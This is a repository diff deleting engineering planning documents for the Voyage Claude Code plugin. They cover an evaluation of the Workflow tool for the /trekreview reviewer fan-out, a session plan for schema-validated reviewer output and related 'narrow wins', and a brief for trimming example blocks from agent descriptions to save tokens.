behind a flag (the measured axes did come out fidelity-neutral), but it rests on a
**single un-archived run** and is not a reproducible result. To upgrade it, a future
session must re-run the bake-off and commit the raw per-run JSON under
`tests/fixtures/bakeoff-rich/runs/` with a test that re-derives these numbers.
**→ S11:** proceed with the **opt-in `--workflow` flag** (prose stays default — preserves
the 2.1.154+ portability floor; see §Open decisions in the narrow-wins plan). The bake-off
supports making the Workflow path reachable; residuals are (a) the F4 `auto`/`bypass`
explicit-mode check and (b) wiring the flag to reuse the NW1 schemas. A future fidelity
metric should score at `(file,rule_key)` granularity (line-noise-robust) rather than the
exact triplet.

View file

@ -1,240 +0,0 @@
# T2 — Workflow tool as orchestration substrate (CC-27 GATE)
**Status:** Gate evidence + measurement design + recommendation. The adopt/don't-adopt
verdict for CC-27 is **operator-gated** (mirrors S3/S6/S7).
**Date:** 2026-06-18 (S8)
**Resolves:** decision-matrix §W1 / **CC-27** ("does Voyage adopt the Workflow tool as its
execution substrate, or stay prose-orchestrated?") + Empirical test **T2**.
**Inputs:** `docs/cc-upgrade-2.1.181-decision-matrix.md` §W1 / CC-27, `commands/trekreview.md`
(Phases 5–6, the prototype target), `docs/T1-cc26-delegated-orchestration.md` §4 (the S7
proliferation-classifier handoff), the Workflow-tool reference (CC 2.1.154+).
**Method (this session, operator-chosen):** staged — cheap live feasibility probe + this design
doc; the expensive head-to-head bake-off is **specified but NOT run** (see §5), gated on the
recommendation below. Same shape as S7.
---
## 1. The question the gate actually decides
CC-27: Voyage **hand-rolls** its swarm / wave / pipeline orchestration in command prose — the main
session reads a `/trek*` command, interprets its phase prose, and spawns agents via the Agent tool
itself. The Workflow tool (2.1.154+) is a native primitive for exactly this: a JS-scripted
orchestrator with `parallel()` / `pipeline()` / `agent({schema})`, background execution, budget
control, and resume/journaling.
The decision is framed as the **biggest identity choice**: adopt Workflow as Voyage's execution
substrate, or stay prose-orchestrated for portability and fine-grained control? But that framing is
a trap — see §2.
## 2. Reframing: "substrate swap" is a false binary; the axis is selective hybrid
The decision-relevant axis is **not** "all-Workflow vs all-prose." It is **"does wrapping a
fan-out→synthesize *core* in a Workflow call earn its keep, against the portability / opt-in /
in-transcript-visibility costs?"** — measured per core, not per pipeline.
Why the binary is false, using `/trekreview` (the named prototype) as the worked example:
- A `/trek*` command is **~80% non-orchestration glue** and **~20% agent fan-out.** trekreview's
450 lines are: mode parsing (Phase 1), brief validation (Phase 2), SHA-range discovery (Phase 3),
a deterministic path-pattern triage classifier (Phase 4), the strict validator + repair-in-place
+ stats JSONL + HTML annotation (Phase 8), and validate-only mode (Phase 8.5). The Workflow tool
addresses **none** of that — it orchestrates *agents*, not bash calls, file writes, validators,
and operator-facing HTML.
- The part Workflow actually replaces is **Phase 5 (parallel reviewers) + Phase 6 (coordinator
synthesis)** — the clean fan-out→barrier→synthesize core. That is the 20%.
- So "adopt Workflow as substrate" can only ever mean **embed a Workflow call for the core, keep
prose for the glue** — i.e. a *hybrid*, not a substrate swap. The honest question is therefore
scoped: is the hybrid worth it for *this core*?
This mirrors the S7 reframing of CC-26 ("wall-time is not the gate metric; Δ main-context tokens
is"). For CC-27 the reframe is: **the gate metric is output-fidelity-preserving control/cost on a
single clean-barrier core, not a wholesale substrate identity.**
The trekreview core, for reference (the shape that gets ported):
```
Phase 5: [ brief-conformance-reviewer ∥ code-correctness-reviewer ] parallel fan-out
↓ merge findings arrays
Phase 6: review-coordinator (dedup → HubSpot Judge → Cloudflare reasonableness → verdict)
↓
Phase 7: write review.md ← stays prose (file I/O, atomic write, frontmatter rules)
```
## 3. Feasibility probe (RUN — 2026-06-18, CC 2.1.181, interactive session)
**Goal:** isolate the *mechanism + semantics* (does the fan-out→synthesize shape execute and return
to main? do structured schemas remove the JSON-parse fragility? does the S7 proliferation classifier
bite a Workflow fan-out? is the tool even invocable here?) from the *workload* (real reviewers on a
real diff — deferred to §5). A minimal trekreview-shaped Workflow: `parallel([reviewerA, reviewerB])`
with a findings schema → `agent(coordinator)` with a verdict schema, run on a one-line synthetic
input, trivial agents, no file reads.
**Verbatim result (Workflow return value, surfaced to main via task-notification):**
```json
{
"reviewers_returned": 2,
"merged_findings_count": 2,
"sample_findings": [
{"file":"foo.js","line":10,"rule_key":"SC_UNTRACED","severity":"MAJOR"},
{"file":"foo.js","line":10,"rule_key":"ERR_UNGUARDED_PARSE","severity":"MAJOR"}
],
"verdict": {"verdict":"BLOCK","deduped_count":2,
"note":"Two distinct findings at foo.js:10 — rule_keys differ, so the dedup key
(file,line,rule_key) keeps both. … verdict BLOCK on the conservative
interpretation that one or more MAJOR findings remain unresolved."}
}
```
_Usage: 3 agents · 85 461 tokens · 13.8 s wall._
**Findings (measured):**
| # | Finding | Evidence | Decision impact |
|---|---------|----------|-----------------|
| F0 | **The Workflow tool is invocable here without a hard opt-in block.** | Launch returned a task ID; the operator's STATE directive (S8 = "reimplement the trekreview swarm as one Workflow") satisfied the opt-in gate. | The opt-in/billing gate is real but a command/operator directive **can** satisfy it. The general UX question (does every `/trekreview` invocation cleanly count as opt-in?) is unresolved — §4. |
| F1 | **The fan-out→barrier→synthesize core executes end-to-end.** Both parallel reviewers returned; the synthesizer ran on the merged result. | `reviewers_returned: 2`; the coordinator produced a verdict over both. | trekreview Phase 5→6 ports **natively** to `parallel()` → `agent()`. The shape is a 1:1 fit. |
| F2 | **Structured-output schemas remove the JSON-parse fragility.** Findings returned as typed, validated objects — no "collect trailing JSON block / `JSON.parse` / re-ask on error" dance. | `sample_findings` are schema-shaped `{file,line,rule_key,severity}`; no parse step in the script. | **The single most concrete win.** Directly retires the fragile contract at `commands/trekreview.md:202–204`. Validation+retry happens at the tool layer. |
| F3 | **The finished artifact returns to main as structured JSON.** | The notification `<result>` carried the full return object; main received the digest, not a transcript to re-parse. | Main gets a clean handoff — but only the *final* object (see F4-control). |
| F4 | **A small purposeful fan-out did NOT trip the S7 proliferation classifier.** | 2-way fan-out + 1 synthesizer ran with zero denials; contrast S7's *purposeless recursive* chain, which the auto-mode classifier denied at L2→L3. | For trekreview specifically (2–3 agents) the classifier risk is **low**. The classifier's behavior at *large* Workflow fan-out (trekplan's 6–10-agent swarm) under `auto`/`bypass` remains **unverified** — same caveat shape as S7. |
> Verifiseringsplikt: F0–F4 are *measured* from the probe above. The probe used trivial agents and a
> small (2-way) purposeful fan-out in an interactive session. It does **not** establish (a) classifier
> behavior for a large fan-out under auto/bypass, (b) output fidelity against a *real* diff, or (c)
> token cost at production context size — all deferred to §5. What it establishes is mechanism,
> schema-robustness, return-to-main, and small-scale classifier tolerance.
## 4. Decision-relevant analysis — the honest ledger
### 4.1 What the Workflow substrate demonstrably wins (measured / structural)
1. **Schema-validated reviewer contracts (F2)** — the one concrete, measured win. trekreview today
"collects each reviewer's trailing JSON block … on parse error, ask the agent to re-emit"
(`trekreview.md:202–204`). `agent({schema})` makes that a tool-layer guarantee. *This win is
capturable even without the Workflow tool — see §6.*
2. **Deterministic control flow (F1/F3)** — fan-out, merge (`flatMap`), dedup-by-triplet can be
plain JS, not prose the model re-interprets each run. The Phase-6 dedup pass (`(file,line,
rule_key)`) is pure data manipulation that does not need an agent at all in a Workflow port;
only the *judgment* passes (HubSpot Judge, Cloudflare reasonableness) stay agent calls.
3. **Native pipelining / budget control** — `pipeline()` (no-barrier streaming) and `budget.*`
exist. Minor for trekreview's single barrier; potentially relevant for trekplan's longer chain.
### 4.2 What the Workflow substrate costs (measured / structural)
1. **Loss of in-transcript operator visibility (F3, structural).** Workflow runs in the background;
intermediate reviewer findings appear in `/workflows`, not the main conversation. trekreview is
an **adversarial-review tool whose verdict the operator gates** — in-line visibility of each
finding as it lands, and the ability to interrupt mid-swarm, is a real property prose has and
Workflow trades away. (The final `review.md` artifact is still operator-gated, so this is a
degradation of *mid-flow* visibility, not of the gate itself.)
2. **Portability floor.** Workflow is CC **2.1.154+**. Voyage ships as a plugin; making a command
require the Workflow tool raises the consumer's CC floor. Prose commands run on any recent CC.
3. **Opt-in / billing semantics (F0).** Invocable here via the operator directive, but the Workflow
tool is explicitly gated on opt-in ("ONLY when the user has explicitly opted into multi-agent
orchestration"). A `/trekreview` invocation would have to *count as* that opt-in cleanly, or the
UX gains a second gate. Unresolved.
4. **Per-agent context floor is real but NOT a Workflow-specific tax.** 85k tokens for 3 trivial
agents (~28k/agent) is the fresh-context floor each spawned agent pays — but **prose
orchestration spawns the same 3 agents** (2 reviewers + coordinator) and pays the same floor.
So token cost is **roughly a wash** for equal agent count; it is *not* a strong differentiator
either way. (This corrects the instinct to count it as a Workflow con.)
5. **Loss of ad-hoc mid-flow model judgment.** Prose lets main *read* a malformed reviewer output
and decide to re-ask; a Workflow handles that via schema-retry (better for JSON) but cannot make
the unscripted judgment calls a prose-driven main session can.
### 4.3 The classifier handoff from S7 (resolved-partial)
S7's open item — "classifier behavior for a *purposeful* swarm under auto/bypass is unverified" —
is **partially closed**: a small purposeful Workflow fan-out is tolerated (F4). It remains open for
*large* fan-out (≥6 agents) under auto/bypass, which is trekplan's shape, not trekreview's. trekreview's
2–3-agent core is below the risk threshold; the bake-off (§5) must still measure it for the larger swarms.
## 5. Measurement design — the full prose-vs-Workflow bake-off (specified, ready to run)
If the operator greenlights a scoped port (§7), this resolves the *fidelity/control/cost* half of
CC-27. **Not run** in S8.
**Arms (same brief, same delivered diff, same model/effort; Phases 1–4 + 7–8 stay prose in both):**
- **Arm A — prose (baseline):** current `/trekreview` Phase 5–6 — main spawns the two reviewers in
parallel, collects + parses their JSON, spawns `review-coordinator`.
- **Arm B — Workflow:** Phase 5–6 reimplemented as one Workflow —
`parallel([conformance, correctness])` with a findings schema → `agent(coordinator)` with a
verdict schema; the dedup-by-triplet pass moved to plain JS; main receives the `review.md` body.
**Fixed inputs:** one representative delivered project (reuse an existing `.claude/projects/*/` with
a real diff + brief of medium size), `model: opus` / default effort, `--profile balanced`.
**Metrics (per arm, ≥3 runs for medians — q3 harness pattern for usage extraction):**
| Metric | Source | Role |
|--------|--------|------|
| **Output fidelity** — same verdict + equivalent finding set (IDs, severities, rule_keys) | diff the two `review.md` | **PRIMARY** — a substrate that changes the verdict/findings fails the gate |
| JSON-robustness — parse-error/re-ask events (Arm A) vs schema-retries (Arm B) | transcript/script logs | **the concrete win** — quantifies the fragility removed (F2) |
| Control / operator visibility | qualitative: intermediate findings in-transcript? interruptible mid-swarm? | **gate guard** — review is operator-gated (§4.2.1) |
| Classifier interference | count of denied/missing spawns (Arm B, repeat under `auto`/`bypass`) | feasibility guard (F4 / S7) |
| Total token cost (main + descendants) | summed stream-json `usage` | secondary — expected ≈ wash (§4.2.4) |
| Wall-time to `review.md` | timestamps | secondary |
**Decision thresholds (CC-27 verdict for *this core*):**
- **POSITIVE (adopt scoped hybrid):** output fidelity ≡ Arm A (same verdict; finding set within
tolerance) **AND** JSON-robustness strictly better **AND** zero classifier interference **AND**
token cost within +15% **AND** operator visibility judged acceptable (the `review.md` gate
survives).
- **NEGATIVE (keep prose):** verdict/findings diverge, **OR** any classifier interference drops a
reviewer, **OR** token cost > +30%, **OR** loss of mid-flow visibility judged unacceptable.
- **INCONCLUSIVE:** in-between → fall back to §6 (schema contract in prose, no Workflow) and re-measure.
**Harness note:** extend the `scripts/q3-cache-prefix-experiment.mjs` pattern (stream-json `usage`
extraction, median, threshold→verdict, always-write result file). The fidelity diff (review.md ↔
review.md) is new; the usage scaffold is reused.
## 6. Cheaper first step (preferred over the full bake-off) — schema contract without Workflow
The single concrete win (F2) is **capturable without adopting the Workflow tool at all.** The
reviewer-output fragility lives in prose ("collect trailing JSON block; on parse error, ask the
agent to re-emit"). The narrowest, zero-dependency fix is to **codify the reviewer findings JSON as
a validated schema contract in prose Phase 5** — main validates each reviewer's JSON against a
findings JSON-schema (Voyage already has `lib/validators/` + `lib/util/frontmatter.mjs` parsers) and
re-asks on schema failure, not just on parse failure.
This captures the robustness win with **no portability floor, no opt-in gate, no loss of
in-transcript visibility** — the substrate stays prose. It is the S8 analog of S7 §6's "narrow
synthesis-agent PoC preferred over the full bake-off": isolate the largest win with the smallest
blast radius. **Recommended as the first thing to ship if the operator wants the win without the
substrate commitment.**
## 7. CC-27 recommendation (operator gates the verdict)
**Three tiers, in increasing commitment:**
1. **Ship regardless (cheapest, no Workflow):** codify reviewer-output JSON as a schema-validated
contract in prose Phase 5 (§6). Captures the one measured win (F2 robustness) with zero new
dependency, zero opt-in friction, zero visibility loss. Low risk, high value.
2. **Scoped hybrid — a measured YES candidate, gated on the §5 bake-off:** port trekreview Phase 5–6
to a Workflow **if** the bake-off shows fidelity-equivalent output + acceptable control/cost.
trekreview's clean-barrier core is the **best-case first port**; trekplan's swarm is a later,
classifier-sensitive candidate (its larger fan-out under auto/bypass is the unverified risk).
3. **Wholesale substrate swap — NOT recommended.** Portability floor (2.1.154+), opt-in/billing UX
on every invocation, 80%-of-each-command is non-orchestration glue Workflow does not touch, and
loss of mid-flow operator visibility for tools whose verdict the operator gates. The identity
framing ("adopt Workflow as substrate") over-claims what the primitive can replace.
**Net:** CC-27 stays **EVALUATE**, resolving toward **selective hybrid, not substrate swap** — a
slightly more YES-leaning posture than S7's CC-26, because here both feasibility (F1) *and* a
concrete win (F2) are confirmed, where CC-26's only upside (main-context relief) was speculative and
counterweighted. The wholesale-substrate option is declined. The first action, if the operator wants
movement, is the §6 prose schema contract; the first Workflow port, if pursued, is trekreview
Phase 5–6 via the §5 bake-off. CC-26 (delegated orchestration, S7) and CC-27 are now both resolved
to "narrow/selective, operator-gated, not wholesale."
## 8. Open items
1. **Output fidelity unmeasured** — the probe used a synthetic input; a real-diff prose-vs-Workflow
`review.md` comparison (§5 PRIMARY metric) is designed but unrun.
2. **Classifier behavior at large fan-out under auto/bypass unverified** (F4) — trekreview's 2–3
agents are below threshold; trekplan's 6–10-agent swarm is not, and must be measured before any
Workflow port reaches a headless/auto path. Inherits directly from S7 §4.
3. **Opt-in UX for command-invoked Workflows unresolved** (F0) — whether a bare `/trekreview`
invocation cleanly satisfies the Workflow opt-in gate for an end user (not just via an operator
STATE directive) needs a real end-user test.
4. **§6 schema contract and §5 bake-off are both designed but unbuilt** — ready to run if CC-27 is
greenlit toward the schema contract (tier 1) and/or the scoped port (tier 2).

View file

@ -1,121 +0,0 @@
# W1 narrow-wins — implementation plan (S9 →)
**Status:** Active plan. Operator decision (2026-06-18): **implement all narrow wins** surfaced by
the S7 (CC-26) and S8 (CC-27) gates. This doc sequences them session-by-session per the kjøremodus
(ONE task/session → commit + push → update STATE → STOP).
**Resolves the implementation half of:** decision-matrix §W1 (CC-26 + CC-27).
**Inputs:** `docs/T1-cc26-delegated-orchestration.md` (§6 synthesis-agent PoC), `docs/T2-cc27-workflow-substrate.md` (§5 bake-off, §6 schema contract), `commands/trekreview.md` Phase 5–6, `commands/trekplan.md` Phase 7, `lib/review/`, `lib/validators/review-validator.mjs`, `scripts/q3-cache-prefix-experiment.mjs` (harness pattern).
---
## The narrow wins (what "all" means)
| ID | Narrow win | Source | Gate (guard, not blocker — see §Posture) |
|----|-----------|--------|------------------------------------------|
| **NW1** | **Reviewer-output schema contract** — codify trekreview Phase 5 reviewer JSON as a validated schema; main validates each reviewer's output and re-asks on *schema* failure, not just parse failure. Retires the fragile contract at `trekreview.md:202–204`. **No Workflow dependency.** | S8 tier 1 (T2 §6) | Ungated — ship regardless. |
| **NW2** | **trekreview Phase 5–6 Workflow port** — `parallel([conformance, correctness], {schema})` → JS dedup-by-triplet → `agent(coordinator, {schema})`, as an opt-in path. Reuses NW1 schemas. | S8 tier 2 (T2 §5) | Bake-off must show **fidelity-equivalent** review.md + zero classifier interference + acceptable control/cost, else the port does not become reachable. |
| **NW3** | **trekplan Phase 7 synthesis-agent** — delegate the single heaviest inline read (6–10 agent outputs resident at once) to a `synthesis-agent`; main receives the digest. | S7 PoC (T1 §6) | Adopt only if measured **Δ main-context ≥ 30%** with no quality loss. |
**Excluded (declined, not narrow):** wholesale Workflow substrate swap (T2 tier 3); wholesale
delegated orchestrator→swarm (T1 §7). Not in scope.
## Cross-cutting constraints
- **Iron Law / TDD (global):** no production code without a failing test first. Every implementing
session writes failing tests, then the minimal code to pass.
- **Don't ship a measured regression.** NW2 and NW3 carry numeric guards (fidelity / Δ-tokens). A
guard failure is **surfaced to the operator**, not silently shipped — the intent is to implement,
but not at the cost of a verdict-changing or quality-losing regression.
- **Classifier risk (S7+S8 open item).** trekreview's 2–3-agent fan-out is below the proliferation-
classifier threshold (S8 F4). NW2's bake-off still checks it **under `auto`/`bypass`** because
trekreview can run headless. The *large* fan-out case (trekplan swarm) is NOT touched by these
narrow wins (NW3 delegates a single synthesis read, not a fan-out) and stays deferred.
- **One task per session.** Conditional sessions (S11, and the adopt-step inside S12) collapse to a
short "declined per measurement" record if their guard fails.
## Session sequence
### S9 — NW1: reviewer-output schema contract (TDD, ungated)
1. **Failing tests first** (`tests/lib/` + `tests/parsers/`): a findings-schema validator that
accepts a well-formed findings array and rejects each malformation (missing `rule_key`, bad
`severity` enum, non-numeric `line`, missing `file`) with a stable error code.
2. Implement `lib/review/findings-schema.mjs` (schema + validator), reusing the
`lib/validators/review-validator.mjs` error-shape conventions.
3. Wire into `commands/trekreview.md` Phase 5 prose: replace "collect trailing JSON block … on
parse error ask the agent to re-emit" (`:202–204`) with "validate each reviewer's JSON against
the findings schema; on schema failure re-ask for conforming JSON (bounded retries N=2)."
4. **Verifisering:** `node --test tests/lib/findings-schema.test.mjs` green; `grep -n "findings-schema" commands/trekreview.md` shows the wire-in; full suite still passes (`node --test`); `claude plugin validate` clean.
5. **Deliverable:** schema validator + tests + Phase 5 prose update. Test count rises by the new cases.
### S10 — NW2 part A: build the Workflow port + run the bake-off
1. Build the port as a Workflow script (the T2 §5 Arm B): `parallel([conformance, correctness])`
with the NW1 findings schema → **plain-JS dedup by `(file,line,rule_key)`** (pattern ref:
`lib/review/plan-review-dedup.mjs`) → `agent(review-coordinator)` with a verdict schema → return
the review.md body. Keep Phases 1–4 + 7–8 in prose.
2. **Bake-off** (extend `scripts/q3-cache-prefix-experiment.mjs`): fixed real project (an existing
`.claude/projects/*/` with a real diff + brief), `model: opus` / `--profile balanced`, ≥3 runs
per arm. Capture the T2 §5 metrics: output fidelity (diff the two `review.md`), JSON-robustness,
control/visibility (qualitative), classifier interference under `auto`, token cost, wall-time.
3. Compute verdict vs the T2 §5 thresholds (POSITIVE / NEGATIVE / INCONCLUSIVE); write a results doc
`docs/T2-bakeoff-results.md`.
4. **Verifisering:** results doc written with a verdict line; fidelity diff command + its output
recorded; classifier-interference count stated (target 0); ≥3 runs/arm present in the raw data.
5. **Deliverable:** Workflow port script + bake-off harness + results doc + verdict.
### S11 — NW2 part B: integrate or decline (gated on S10 verdict)
- **If S10 = POSITIVE:** make the Workflow path reachable as an **opt-in `--workflow` flag**
(default stays prose — preserves the 2.1.154+ portability floor; see §Open decisions). TDD the
flag routing in `commands/trekreview.md`. Document the opt-in + its CC-floor requirement.
- **If NEGATIVE / INCONCLUSIVE:** record "port declined per bake-off; NW1 schema win stands"; do not
wire the flag. Short session.
- **Verifisering:** if integrated — `grep` shows the `--workflow` route; a smoke run produces a
review.md fidelity-equal to the prose path on the bake-off project; full suite green. If declined
— the decision + evidence are in `docs/T2-bakeoff-results.md` and STATE.
- **Deliverable:** `--workflow` opt-in (or a recorded decline).
### S12 — NW3: synthesis-agent measurement + adopt-if-it-pays
1. Build a `synthesis-agent` spec (`agents/synthesis-agent.md`) that ingests the trekplan Phase-5/7
exploration outputs and emits the findings digest main currently writes inline.
2. **Measure Δ main-context** (q3 harness): inline baseline vs delegated, same exploration outputs,
≥3 runs; LLM-judge (or operator) checks digest quality ≥ inline.
3. **If Δ ≥ 30% and quality-equivalent:** wire `commands/trekplan.md` Phase 7 to delegate the digest
to `synthesis-agent` (TDD the routing). **Else:** record "declined per measurement (Δ = X%)".
4. **Verifisering:** measurement results file with Δ%; if adopted — Phase 7 prose references the
agent + a run shows the digest is produced out-of-main; full suite green. If declined — Δ% and
reasoning recorded in STATE + a short `docs/T1-synthesis-poc-results.md`.
5. **Deliverable:** `synthesis-agent` + measurement results + (adopt wiring OR recorded decline).
### S13 — RELEASE (was the old S10)
CC-07 fallbackModel · CC-12/13 hooks · CC-08 GH#36071 · CC-29/31 verify · **plugin version bump +
CHANGELOG (now also covering NW1–NW3 changes) + version badge** + final `claude plugin validate` +
full `node --test`. The version bump is the coordinated release that also lands the brief-schema
2.2 badge held since S6.
## Posture on the guards (default — operator may override)
"Implement all narrow wins" is read as **pursue and ship all three**, with NW2/NW3's numeric guards
acting as **regression guards, not veto gates**: we build each win, measure, and ship when the
measurement confirms; a guard failure is surfaced for an operator call rather than silently shipped
or silently dropped. NW1 has no guard and ships outright. If the operator instead wants NW2/NW3
shipped **regardless** of their measurements, say so and S11/S12 drop the conditional branch.
## Open decisions (resolve in-session, recommendations given)
1. **NW2 integration posture (needed at S11, informed by S10):** opt-in `--workflow` flag (prose
stays default) **[recommended]** vs Workflow-by-default. Recommendation preserves portability
(T2's biggest structural con — raising the consumer CC floor to 2.1.154+ is outward-facing and
should be opt-in until proven), and is reversible. The bake-off's control/visibility findings may
strengthen the case either way.
2. **Guard-fail handling (NW2/NW3):** per §Posture — surface to operator. Confirm if the operator
wants a different default.
## Verifisering (whole plan)
- Each session leaves the suite green (`node --test`) and `claude plugin validate` clean.
- NW1 done ⇔ findings-schema tests pass AND `trekreview.md:202–204` fragility is replaced.
- NW2 done ⇔ bake-off verdict recorded AND (`--workflow` route smoke-tested fidelity-equal) OR
(decline recorded with evidence).
- NW3 done ⇔ Δ main-context measured AND (Phase 7 delegates AND digest produced out-of-main) OR
(decline recorded with Δ%).
- Release (S13) ⇔ version bumped consistently across plugin manifest + CHANGELOG + badge; final
validate + full suite green.

View file

@ -1,153 +0,0 @@
---
type: trekbrief
brief_version: "2.2"
created: 2026-06-26
task: "Relocate <example> blocks out of voyage agent description frontmatter to cut always-loaded tokens"
slug: agent-description-token-trim
project_dir: .claude/projects/2026-06-26-agent-description-token-trim/
research_topics: 0
research_status: skipped
auto_research: false
interview_turns: 0
source: manual
framing: refine
phase_signals:
- phase: research
effort: low
- phase: plan
effort: standard
- phase: execute
effort: standard
- phase: review
effort: standard
---
# Task: Trim voyage agent `description:` frontmatter — relocate `<example>` blocks into the agent body
> **Cross-session coordination brief.** Authored 2026-06-26 by the **config-audit machine-tuning session** (a parallel session that audits this machine's Claude Code always-loaded token footprint). It is dropped here per operator instruction so the **voyage session** owns the implementation — config-audit does **not** edit the voyage repo. The source measurement lives in config-audit's local worklist (`config-audit/docs/machine-tuning-worklist.local.md`, item **M4**, session m). This brief is the contract; `/trekplan` can consume it directly.
## TL;DR
voyage's 24 agent `description:` fields cost **~4,418 always-loaded tokens every turn** (injected into the system prompt of every session that has voyage enabled). **17** of those agents carry **two `<example>` blocks each (34 total, ~3,147 tok)** in their frontmatter `description`. Those example blocks exist to drive *autonomous* agent-selection — but voyage agents are launched **by explicit name** from the orchestrator commands, so the examples are cost without function. Move them into each agent's body (preserve, don't delete). Expected saving: **~2,500–3,100 always-loaded tokens.** framing: **refine** — this continues the token-trim line started in M1a (v5.6.1).
## Intent
The machine's #1 tuning lever is *always-loaded* tokens — context injected on every turn, paid on every request. config-audit's Fase-1 measurement (2026-06-26) found the machine's global layer is already lean (CLAUDE.md trimmed, rules/agents empty, output style off, MCP deferred), and the **single largest remaining tunable source is voyage's agent listing (~4,418 tok)**. The bulk of that is `<example>` blocks in the spawnable agents' `description:` frontmatter. These blocks follow the documented agent-authoring pattern whose purpose is to help the *main loop autonomously decide* when to delegate to an agent. voyage doesn't rely on that path: `/trekplan`, `/trekresearch`, and `/trekreview` launch their agents **deterministically by name** ("Launch the **architecture-mapper** agent", explicit per-codebase-size launch tables, explicit `voyage:review-coordinator` references). So the examples are paying a per-turn token tax for an auto-selection behavior voyage never uses.
## Goal
Each of the **17** example-bearing voyage agents has its frontmatter `description:` reduced to its **triggering lead sentence(s)** (the "Use this agent to/when…" summary — what any residual autonomous selection actually needs), with the `<example>` blocks **relocated verbatim into the agent's markdown body** under a clearly-marked section (e.g. `## When to use — examples`). No agent is deleted, no behavior changes, no example content is lost. The injected agent-listing cost drops by ~2,500–3,100 tokens, landing on every machine that reloads voyage after release.
## Non-Goals
- **Do NOT delete the examples** — relocate them into the body. They remain useful documentation and `/trekbrief`/onboarding reference.
- **Do NOT change any agent's system prompt, body logic, tools, model, or `name`** (`name` is the agent's identity).
- **Do NOT touch the 7 zero-example agents** (`planning-orchestrator`, `research-orchestrator`, `review-orchestrator`, `synthesis-agent`, `review-coordinator`, `code-correctness-reviewer`, `brief-conformance-reviewer`) — already lean (M1a handled the reference/dormant ones; the orchestrators keep their pinned "reference document, not a spawnable capability" phrasing).
- **Do NOT modify the orchestrator commands** (`/trekplan` etc.) or change which agents exist.
- This is **not** a behavioral or capability change — purely a token/packaging optimization.
## Constraints
- Frontmatter must remain valid YAML. The retained `description:` must keep a meaningful **triggering lead sentence**, because a few agents (notably the `*-researcher` agents) *can* legitimately be selected autonomously when a user asks a research question directly — keep their first 1–2 sentences descriptive enough to still trigger.
- **The test suite must stay green.** `node --test 'tests/**/*.test.mjs'` is the gate. voyage has inventory/frontmatter-pin tests — M1a's note warned that "synthesis-schema + inventory tests may pin description content." If any test asserts on `<example>` presence/count or description length, update that test's expectation **deliberately** (it is asserting the old structure) and document why.
- Follow voyage's release discipline: version-sync (plugin.json + package.json + README badge/What's-new + CHANGELOG), annotated tag, and catalog `ref` bump with `check-versions` green. This is a perf/token change → a **patch** release (e.g. v5.6.2) or fold into the work already in progress on the branch.
- The saving only reaches a machine after the operator reloads voyage (`/plugin marketplace update` + update + `/exit`) — note this in the CHANGELOG so the delta isn't expected instantly.
## Preferences
- Relocate the two examples per agent into a single body section with a stable heading so they're easy to find and so any future inventory test can pin the body instead of the frontmatter.
- Keep the diff mechanical and uniform across the 17 agents (same heading, same ordering) for reviewability.
- If a lead sentence is currently entangled with the first `<example>`, lightly rewrite it into a clean 1–2 sentence trigger — minimal, not a rewrite.
## Non-Functional Requirements
- **Zero new dependencies.**
- **Always-loaded `description` budget:** total frontmatter `description` chars across all 24 agents drops from **~17,672** to **≤ ~6,000** (~2,500–3,100 tok saved).
- No regression in agent auto-selection for the agents that are legitimately autonomous (the researchers) — spot-check that a direct research-style prompt still routes sensibly.
## Success Criteria
- **Full suite green:** `node --test 'tests/**/*.test.mjs'` exits 0 (same pass count, or deliberately updated pins with rationale).
- **No `<example>` in any frontmatter `description`:** the frontmatter-only scan below prints `0`:
```bash
python3 - <<'PY'
import re,glob
n=0
for f in glob.glob('agents/*.md'):
t=open(f).read(); m=re.match(r'^---\n(.*?)\n---', t, re.S)
fm=m.group(1) if m else ''
dm=re.search(r'description:\s*(.*?)(?=\n[a-zA-Z_][a-zA-Z_-]*:\s|\Z)', fm, re.S)
n+=(dm.group(1).count('<example>') if dm else 0)
print(n) # must be 0
PY
```
- **Examples preserved in bodies:** `grep -l '<example>' agents/*.md` still lists the 17 agents (the blocks moved, not vanished).
- **Agent count unchanged:** 24 agents, each with non-empty `name` + `description`. Plugin validates (plugin-validator / inventory tests green).
- **Token budget met:** total frontmatter `description` chars ≤ ~6,000 (measure with the per-agent script in the worklist / the snippet above adapted to sum lengths).
- **Behavior unchanged:** `/trekplan` (and trekresearch/trekreview) still launch the same agents by name — diff touches only `agents/*.md`, no command files.
## Research Plan
No external research needed — the codebase and this brief contain sufficient context for planning. (research_topics = 0.)
## Open Questions / Assumptions
- **[ASSUMPTION]** The 17 example-bearing agents are invoked **by name** from orchestrator commands — verified by the config-audit session against `voyage/commands/*.md` (explicit "Launch the X agent" prose + per-size launch tables + explicit `voyage:<name>` references). The `<example>` auto-trigger blocks are therefore non-load-bearing for voyage's actual invocation path.
- **[Q]** Do any voyage tests assert on `<example>` presence/count or `description` length in `agents/*.md`? **Check first** (`grep -rn 'example\|description' tests/`), so a pin is updated intentionally, not discovered as a red test.
- **[ASSUMPTION]** The `*-researcher` agents (community/contrarian/docs/security) and `gemini-bridge` may also be autonomously selected outside the trek pipeline → keep their lead sentences trigger-worthy (don't reduce to a bare label).
## Prior Attempts
- **M1a — voyage v5.6.1 (2026-06-24):** trimmed the 4 non-spawnable reference/dormant agents' (`planning/research/review-orchestrator` + `synthesis-agent`) verbose `description:` fields to one-liners; orchestrators kept their pinned phrase, synthesis kept its DORMANT flag. Suite stayed green (756). **M4 extends that same always-loaded-token-trim to the 17 spawnable agents' `<example>` blocks** — the larger remaining chunk M1a deliberately left.
## Reference data (config-audit Fase-1 measurement, 2026-06-26)
24 agents, **17,672 `description` chars (~4,418 tok)**, **34 `<example>` blocks**, ~12,591 chars (~3,147 tok) inside `<example>…</example>`. The 17 example-bearing agents (descending `description` size):
| agent | desc chars | examples |
|---|---:|---:|
| community-researcher | 1280 | 2 |
| contrarian-researcher | 1270 | 2 |
| gemini-bridge | 1226 | 2 |
| security-researcher | 1207 | 2 |
| docs-researcher | 1138 | 2 |
| session-decomposer | 946 | 2 |
| convention-scanner | 939 | 2 |
| brief-reviewer | 870 | 2 |
| research-scout | 847 | 2 |
| test-strategist | 823 | 2 |
| dependency-tracer | 818 | 2 |
| task-finder | 817 | 2 |
| git-historian | 795 | 2 |
| risk-assessor | 794 | 2 |
| architecture-mapper | 789 | 2 |
| scope-guardian | 750 | 2 |
| plan-critic | 692 | 2 |
Zero-example (leave as-is): review-coordinator (345), code-correctness-reviewer (292), brief-conformance-reviewer (266), synthesis-agent (228), planning-orchestrator (184), research-orchestrator (179), review-orchestrator (177).
## Metadata
- **Created:** 2026-06-26
- **Interview turns:** 0
- **Auto-research opted in:** no
